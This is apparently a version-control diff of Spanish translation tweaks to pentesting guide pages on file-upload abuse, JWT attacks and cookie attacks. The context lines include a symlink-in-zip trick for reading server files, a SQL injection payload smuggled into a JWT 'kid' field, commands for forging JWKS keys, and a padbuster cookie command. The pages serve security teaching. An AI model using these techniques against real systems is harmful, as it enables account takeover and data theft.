Aquí hay una lista de las 10 principales cosas que puedes lograr al cargar (de [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
|
|
||||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||||
2. **SVG**: XSS almacenado / SSRF / XXE
|
2. **SVG**: XSS almacenado / SSRF / XXE
|
||||||
|
@ -216,20 +216,20 @@ Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de [
|
||||||
|
|
||||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||||
|
|
||||||
## Bytes de Encabezado Mágico
|
## Bytes de Encabezado Mágicos
|
||||||
|
|
||||||
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||||
* **JPG**: `"\xff\xd8\xff"`
|
* **JPG**: `"\xff\xd8\xff"`
|
||||||
|
|
||||||
Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para otros tipos de archivos.
|
Consulta [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para otros tipos de archivos.
|
||||||
|
|
||||||
### Carga de archivo Zip/Tar descomprimido automáticamente
|
### Carga de archivo Zip/Tar descomprimido automáticamente
|
||||||
|
|
||||||
Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas:
|
Si puedes cargar un ZIP que va a ser descomprimido dentro del servidor, puedes hacer 2 cosas:
|
||||||
|
|
||||||
#### Symlink
|
#### Symlink
|
||||||
|
|
||||||
Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
|
Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederás a los archivos vinculados:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
|
@ -304,7 +304,7 @@ pop graphic-context
|
||||||
```
|
```
|
||||||
## Incrustar Shell PHP en PNG
|
## Incrustar Shell PHP en PNG
|
||||||
|
|
||||||
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
|
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
|
||||||
|
|
||||||
Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
|
Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
|
||||||
|
|
||||||
|
@ -329,7 +329,7 @@ Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
||||||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt=""
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -58,7 +58,7 @@ Para comprobar si se está verificando la firma de un JWT:
|
||||||
|
|
||||||
Es importante determinar si el token fue generado del lado del servidor o del lado del cliente examinando el historial de solicitudes del proxy.
|
Es importante determinar si el token fue generado del lado del servidor o del lado del cliente examinando el historial de solicitudes del proxy.
|
||||||
|
|
||||||
* Los tokens vistos por primera vez desde el lado del cliente sugieren que la clave podría estar expuesta al código del lado del cliente, lo que requiere una investigación adicional.
|
* Los tokens vistos primero desde el lado del cliente sugieren que la clave podría estar expuesta al código del lado del cliente, lo que requiere una investigación adicional.
|
||||||
* Los tokens que se originan del lado del servidor indican un proceso seguro.
|
* Los tokens que se originan del lado del servidor indican un proceso seguro.
|
||||||
|
|
||||||
### Duración
|
### Duración
|
||||||
|
@ -99,7 +99,7 @@ Esto se puede hacer con la extensión "JSON Web Tokens" de Burp.\
|
||||||
Las instrucciones detallan un método para evaluar la seguridad de los tokens JWT, particularmente aquellos que emplean un reclamo de encabezado "jku". Este reclamo debe vincularse a un archivo JWKS (JSON Web Key Set) que contenga la clave pública necesaria para la verificación del token.
|
Las instrucciones detallan un método para evaluar la seguridad de los tokens JWT, particularmente aquellos que emplean un reclamo de encabezado "jku". Este reclamo debe vincularse a un archivo JWKS (JSON Web Key Set) que contenga la clave pública necesaria para la verificación del token.
|
||||||
|
|
||||||
* **Evaluación de Tokens con Encabezado "jku"**:
|
* **Evaluación de Tokens con Encabezado "jku"**:
|
||||||
* Verifica la URL del reclamo "jku" para asegurarte de que conduzca al archivo JWKS apropiado.
|
* Verifica la URL del reclamo "jku" para asegurarte de que conduce al archivo JWKS apropiado.
|
||||||
* Modifica el valor "jku" del token para dirigirlo hacia un servicio web controlado, permitiendo la observación del tráfico.
|
* Modifica el valor "jku" del token para dirigirlo hacia un servicio web controlado, permitiendo la observación del tráfico.
|
||||||
* **Monitoreo de Interacción HTTP**:
|
* **Monitoreo de Interacción HTTP**:
|
||||||
* Observar las solicitudes HTTP a tu URL especificada indica los intentos del servidor de obtener claves desde tu enlace proporcionado.
|
* Observar las solicitudes HTTP a tu URL especificada indica los intentos del servidor de obtener claves desde tu enlace proporcionado.
|
||||||
|
@ -117,7 +117,7 @@ Un reclamo de encabezado opcional conocido como `kid` se utiliza para identifica
|
||||||
|
|
||||||
#### Revelando Clave a través de "kid"
|
#### Revelando Clave a través de "kid"
|
||||||
|
|
||||||
Cuando el reclamo `kid` está presente en el encabezado, se recomienda buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si se especifica `"kid":"key/12345"`, se deben buscar los archivos _/key/12345_ y _/key/12345.pem_ en la raíz web.
|
Cuando el reclamo `kid` está presente en el encabezado, se aconseja buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si se especifica `"kid":"key/12345"`, se deben buscar los archivos _/key/12345_ y _/key/12345.pem_ en la raíz web.
|
||||||
|
|
||||||
#### Traversal de Ruta con "kid"
|
#### Traversal de Ruta con "kid"
|
||||||
|
|
||||||
|
@ -129,11 +129,11 @@ Al apuntar a archivos con contenido predecible, es posible falsificar un JWT vá
|
||||||
|
|
||||||
#### Inyección SQL a través de "kid"
|
#### Inyección SQL a través de "kid"
|
||||||
|
|
||||||
Si el contenido de la declaración `kid` se utiliza para obtener una contraseña de una base de datos, se podría facilitar una inyección SQL modificando la carga útil de `kid`. Un ejemplo de carga útil que utiliza inyección SQL para alterar el proceso de firma de JWT incluye:
|
Si el contenido de la reclamación `kid` se utiliza para obtener una contraseña de una base de datos, se podría facilitar una inyección SQL modificando la carga útil de `kid`. Un ejemplo de carga útil que utiliza inyección SQL para alterar el proceso de firma de JWT incluye:
|
||||||
|
|
||||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||||
|
|
||||||
Esta alteración obliga al uso de una clave secreta conocida, `ATTACKER`, para la firma de JWT.
|
Esta alteración obliga a usar una clave secreta conocida, `ATTACKER`, para la firma de JWT.
|
||||||
|
|
||||||
#### Inyección de OS a través de "kid"
|
#### Inyección de OS a través de "kid"
|
||||||
|
|
||||||
|
@ -146,7 +146,7 @@ Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada
|
||||||
#### jku
|
#### jku
|
||||||
|
|
||||||
jku significa **JWK Set URL**.\
|
jku significa **JWK Set URL**.\
|
||||||
Si el token utiliza una declaración de **Header** “**jku**”, entonces **verifica la URL proporcionada**. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Modifica el token para que el valor de jku apunte a un servicio web que puedas monitorear.
|
Si el token utiliza una reclamación de **Header** “**jku**”, entonces **verifica la URL proporcionada**. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Modifica el token para que el valor de jku apunte a un servicio web que puedas monitorear.
|
||||||
|
|
||||||
Primero necesitas crear un nuevo certificado con nuevas claves privadas y públicas.
|
Primero necesitas crear un nuevo certificado con nuevas claves privadas y públicas.
|
||||||
```bash
|
```bash
|
||||||
|
@ -215,7 +215,7 @@ openssl genrsa -out keypair.pem 2048
|
||||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||||
```
|
```
|
||||||
Puedes obtener el "n" y "e" usando este script de nodejs:
|
Puedes obtener el "n" y "e" utilizando este script de nodejs:
|
||||||
```bash
|
```bash
|
||||||
const NodeRSA = require('node-rsa');
|
const NodeRSA = require('node-rsa');
|
||||||
const fs = require('fs');
|
const fs = require('fs');
|
||||||
|
@ -246,13 +246,13 @@ Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-
|
||||||
|
|
||||||
**Ataques de Relay entre servicios**
|
**Ataques de Relay entre servicios**
|
||||||
|
|
||||||
Se ha observado que algunas aplicaciones web dependen de un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse para una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego, se debe intentar reproducir el token obtenido en una solicitud al objetivo para ver si es aceptado.
|
Se ha observado que algunas aplicaciones web dependen de un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse en una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego, se debe intentar reproducir el token obtenido en una solicitud al objetivo para ver si es aceptado.
|
||||||
|
|
||||||
* Un problema crítico puede ser indicado por la aceptación de tu token, lo que podría permitir la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que puede ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en un área gris legal.
|
* Un problema crítico puede ser indicado por la aceptación de tu token, lo que podría permitir la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que puede ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en un área gris legal.
|
||||||
|
|
||||||
**Verificación de expiración de tokens**
|
**Verificación de expiración de tokens**
|
||||||
|
|
||||||
La expiración del token se verifica utilizando el reclamo "exp" del Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool.
|
La expiración del token se verifica utilizando el reclamo "exp" del Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchas instancias, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool.
|
||||||
|
|
||||||
* Puede haber un riesgo de seguridad si la aplicación aún valida el token, ya que esto podría implicar que el token nunca podría expirar.
|
* Puede haber un riesgo de seguridad si la aplicación aún valida el token, ya que esto podría implicar que el token nunca podría expirar.
|
||||||
|
|
||||||
|
@ -260,9 +260,9 @@ La expiración del token se verifica utilizando el reclamo "exp" del Payload. Da
|
||||||
|
|
||||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Atributos de las Cookies
|
## Atributos de Cookies
|
||||||
|
|
||||||
Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. Aquí hay un resumen de estos atributos en una voz más pasiva:
|
Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. Aquí hay un resumen de estos atributos en una voz más pasiva:
|
||||||
|
|
||||||
### Expires y Max-Age
|
### Expires y Max-Age
|
||||||
|
|
||||||
La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie se elimina. **Opta por `Max-age` ya que refleja prácticas más modernas.**
|
La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que se elimina una cookie. **Opta por `Max-age` ya que refleja prácticas más modernas.**
|
||||||
|
|
||||||
### Dominio
|
### Dominio
|
||||||
|
|
||||||
Los hosts que recibirán una cookie se especifican mediante el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo `Domain` se establece explícitamente, abarca también los subdominios. Esto hace que la especificación del atributo `Domain` sea una opción menos restrictiva, útil para escenarios donde compartir cookies entre subdominios es necesario. Por ejemplo, establecer `Domain=mozilla.org` hace que las cookies sean accesibles en sus subdominios como `developer.mozilla.org`.
|
Los hosts que recibirán una cookie se especifican mediante el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo `Domain` se establece explícitamente, abarca también los subdominios. Esto hace que la especificación del atributo `Domain` sea una opción menos restrictiva, útil para escenarios donde es necesario compartir cookies entre subdominios. Por ejemplo, establecer `Domain=mozilla.org` hace que las cookies sean accesibles en sus subdominios como `developer.mozilla.org`.
|
||||||
|
|
||||||
### Ruta
|
### Ruta
|
||||||
|
|
||||||
|
@ -63,7 +63,7 @@ Una cookie con el atributo _**SameSite**_ **mitigará ataques CSRF** donde se ne
|
||||||
**\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo de cookie SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo de cookie SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** **en Chrome serán** **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.**
|
Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** **en Chrome serán** **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.**
|
||||||
|
|
||||||
## Banderas de las Cookies
|
## Banderas de Cookies
|
||||||
|
|
||||||
### HttpOnly
|
### HttpOnly
|
||||||
|
|
||||||
|
@ -73,7 +73,7 @@ Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, p
|
||||||
|
|
||||||
* Si la página está **enviando las cookies como respuesta** a una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
* Si la página está **enviando las cookies como respuesta** a una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||||
* Esto podría ser evadido con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
|
* Esto podría ser evadido con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
|
||||||
* Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunas evasiones en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
* Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunas evasiones a esto en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
||||||
* Otra forma es la explotación de vulnerabilidades de día cero en los navegadores.
|
* Otra forma es la explotación de vulnerabilidades de día cero en los navegadores.
|
||||||
* Es posible **sobrescribir cookies HttpOnly** realizando un ataque de desbordamiento de Cookie Jar:
|
* Es posible **sobrescribir cookies HttpOnly** realizando un ataque de desbordamiento de Cookie Jar:
|
||||||
|
|
||||||
|
@ -87,7 +87,7 @@ Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, p
|
||||||
|
|
||||||
La solicitud **solo** enviará la cookie en una solicitud HTTP solo si la solicitud se transmite a través de un canal seguro (típicamente **HTTPS**).
|
La solicitud **solo** enviará la cookie en una solicitud HTTP solo si la solicitud se transmite a través de un canal seguro (típicamente **HTTPS**).
|
||||||
|
|
||||||
## Prefijos de las Cookies
|
## Prefijos de Cookies
|
||||||
|
|
||||||
Las cookies con el prefijo `__Secure-` deben establecerse junto con la bandera `secure` de páginas que están aseguradas por HTTPS.
|
Las cookies con el prefijo `__Secure-` deben establecerse junto con la bandera `secure` de páginas que están aseguradas por HTTPS.
|
||||||
|
|
||||||
|
@ -104,11 +104,11 @@ Es importante tener en cuenta que las cookies con el prefijo `__Host-` no pueden
|
||||||
|
|
||||||
Así, una de las protecciones de las cookies con prefijo `__Host-` es evitar que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
|
Así, una de las protecciones de las cookies con prefijo `__Host-` es evitar que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
O en PHP era posible añadir **otros caracteres al principio** del nombre de la cookie que iban a ser **reemplazados por caracteres de subrayado**, permitiendo sobrescribir cookies `__HOST-`:
|
O en PHP era posible añadir **otros caracteres al principio** del nombre de la cookie que iban a ser **reemplazados por caracteres de subrayado**, permitiendo sobrescribir cookies `__HOST-`:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Ataques de Cookies
|
## Ataques de Cookies
|
||||||
|
|
||||||
|
@ -118,11 +118,11 @@ Si una cookie personalizada contiene datos sensibles, revísala (especialmente s
|
||||||
|
|
||||||
Los datos sensibles incrustados en las cookies siempre deben ser examinados. Las cookies codificadas en Base64 o formatos similares a menudo pueden ser decodificadas. Esta vulnerabilidad permite a los atacantes alterar el contenido de la cookie e impersonar a otros usuarios codificando sus datos modificados de nuevo en la cookie.
|
Los datos sensibles incrustados en las cookies siempre deben ser examinados. Las cookies codificadas en Base64 o formatos similares a menudo pueden ser decodificadas. Esta vulnerabilidad permite a los atacantes alterar el contenido de la cookie e impersonar a otros usuarios codificando sus datos modificados de nuevo en la cookie.
|
||||||
|
|
||||||
### Secuestro de Sesiones
|
### Secuestro de Sesión
|
||||||
|
|
||||||
Este ataque implica robar la cookie de un usuario para obtener acceso no autorizado a su cuenta dentro de una aplicación. Al usar la cookie robada, un atacante puede hacerse pasar por el usuario legítimo.
|
Este ataque implica robar la cookie de un usuario para obtener acceso no autorizado a su cuenta dentro de una aplicación. Al usar la cookie robada, un atacante puede hacerse pasar por el usuario legítimo.
|
||||||
|
|
||||||
### Fijación de Sesiones
|
### Fijación de Sesión
|
||||||
|
|
||||||
En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, que posee la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
|
En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, que posee la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Donación de Sesiones
|
### Donación de Sesión
|
||||||
|
|
||||||
Aquí, el atacante convence a la víctima para que use la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.
|
Aquí, el atacante convence a la víctima para que use la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.
|
||||||
|
|
||||||
|
@ -186,7 +186,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
#### Vulnerabilidades de Inyección de Cookies
|
#### Vulnerabilidades de Inyección de Cookies
|
||||||
|
|
||||||
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
|
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan adecuadamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
|
||||||
|
|
||||||
* Undertow espera una nueva cookie inmediatamente después de un valor entre comillas sin un punto y coma.
|
* Undertow espera una nueva cookie inmediatamente después de un valor entre comillas sin un punto y coma.
|
||||||
* Zope busca una coma para comenzar a analizar la siguiente cookie.
|
* Zope busca una coma para comenzar a analizar la siguiente cookie.
|
||||||
|
@ -203,7 +203,7 @@ Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que depende
|
||||||
* Intenta iniciar sesión con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
|
* Intenta iniciar sesión con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
|
||||||
* Verifica si la cookie tiene alguna información y trata de modificarla.
|
* Verifica si la cookie tiene alguna información y trata de modificarla.
|
||||||
* Intenta crear varias cuentas con nombres de usuario casi idénticos y verifica si puedes ver similitudes.
|
* Intenta crear varias cuentas con nombres de usuario casi idénticos y verifica si puedes ver similitudes.
|
||||||
* Revisa la opción "**recordarme**" si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la cookie de **recordarme** sin ninguna otra cookie.
|
* Revisa la opción de "**recordarme**" si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la cookie de **recordarme** sin ninguna otra cookie.
|
||||||
* Verifica si la cookie anterior funciona incluso después de cambiar la contraseña.
|
* Verifica si la cookie anterior funciona incluso después de cambiar la contraseña.
|
||||||
|
|
||||||
#### **Ataques avanzados a cookies**
|
#### **Ataques avanzados a cookies**
|
||||||
|
@ -224,7 +224,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||||
